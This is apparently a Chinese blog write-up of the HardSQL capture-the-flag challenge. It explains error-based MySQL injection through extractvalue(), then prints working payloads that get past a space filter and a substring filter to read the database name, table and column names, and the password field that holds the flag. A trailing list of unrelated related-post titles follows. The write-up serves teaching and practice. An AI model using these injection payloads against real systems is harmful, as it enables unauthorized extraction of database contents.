[极客大挑战 2019]HardSQL

我们先进行正常输入会返回什么

试试SQL语句

经过多次尝试后发现空格和%09%0a等能代替空格的字符都被过滤了

我们可以尝试使用XML解析函数:extractvalue()

在 SQL 注入(SQL Injection)中,extractvalue() 函数通常被用在 基于报错的注入 中,且主要针对 MySQL 数据库。

以下是关于 extractvalue() 函数在 SQL 注入中的原理、常见 Payload、局限性以及防御方法的详细解析:一、 核心原理extractvalue() 是 MySQL 的一个内置 XML 函数,其语法为:EXTRACTVALUE}(xml_target, xpath_expression)

作用:根据 XPath 表达式从 XML 片段中提取目标值。漏洞利用点:当第二个参数 xpath_expression 传入了不合法的 XPath 语法格式时(例如以特殊字符 ~ 开头),MySQL 会抛出一个 XPath 语法错误。信息泄露:在报错信息中,MySQL 会将非法的 XPath 表达式内容原样回显出来。攻击者正是利用这一特性,将想要窃取的数据库敏感信息(如版本、当前用户、表名等)拼接进 XPath 表达式中,迫使数据库通过错误信息把数据"吐"出来。

并且因为payload中不能存在空格,我们可以使用()来吧语句分隔开来

1'or(extractvalue(1,(concat(0x7e,database(),0x7e))))#

得到数据库名

接下来查表名

1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))#

查字段名

1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#

1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))#

但发现显示不全,但是substr和mid函数被过滤了,试试left和right函数

1'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))#

将前后拼接一下就得到flag

相关推荐
小李不想当小白1 小时前
HAL库之UART(STM32 HAL库学习笔记)
笔记·stm32·单片机·嵌入式硬件·学习·嵌入式
旖旎夜光2 小时前
【C++ 基础入门】C++ 多态(中):虚函数表、多态原理与动静绑定
开发语言·c++·笔记·学习
旖旎夜光3 小时前
【C++ 基础入门】C++多态(下):单/多继承虚表、多态补充与 21 道高频题
开发语言·c++·笔记·学习
叼烟扛炮9 小时前
[LangChain] 学习笔记(07):大模型长出手脚——工具(Tools)定义与调用闭环
笔记·学习·langchain
叼烟扛炮13 小时前
[LangChain] 学习笔记(06):突破大模型限制——结构化输出(Structured Output)
windows·笔记·学习·langchain
且从容.14 小时前
VUE3学习笔记(根据黑马教程总结)
笔记·学习
蒸蒸yyyyzwd16 小时前
关于 AI 开发相关的一些面经。
笔记·学习
2603_9696948517 小时前
JDBC 基础学习笔记:API 核心原理解析与 CRUD 代码实操
数据库·笔记·mysql·学习方法·database·sql注入
迪康coolmu18 小时前
出差终端数据安全落地实战:基于迪康端点安全一体化管理系统的四道防线实践
运维·服务器·经验分享·笔记·其他·安全·php
无咎.lsy21 小时前
《机器学习》笔记
笔记·机器学习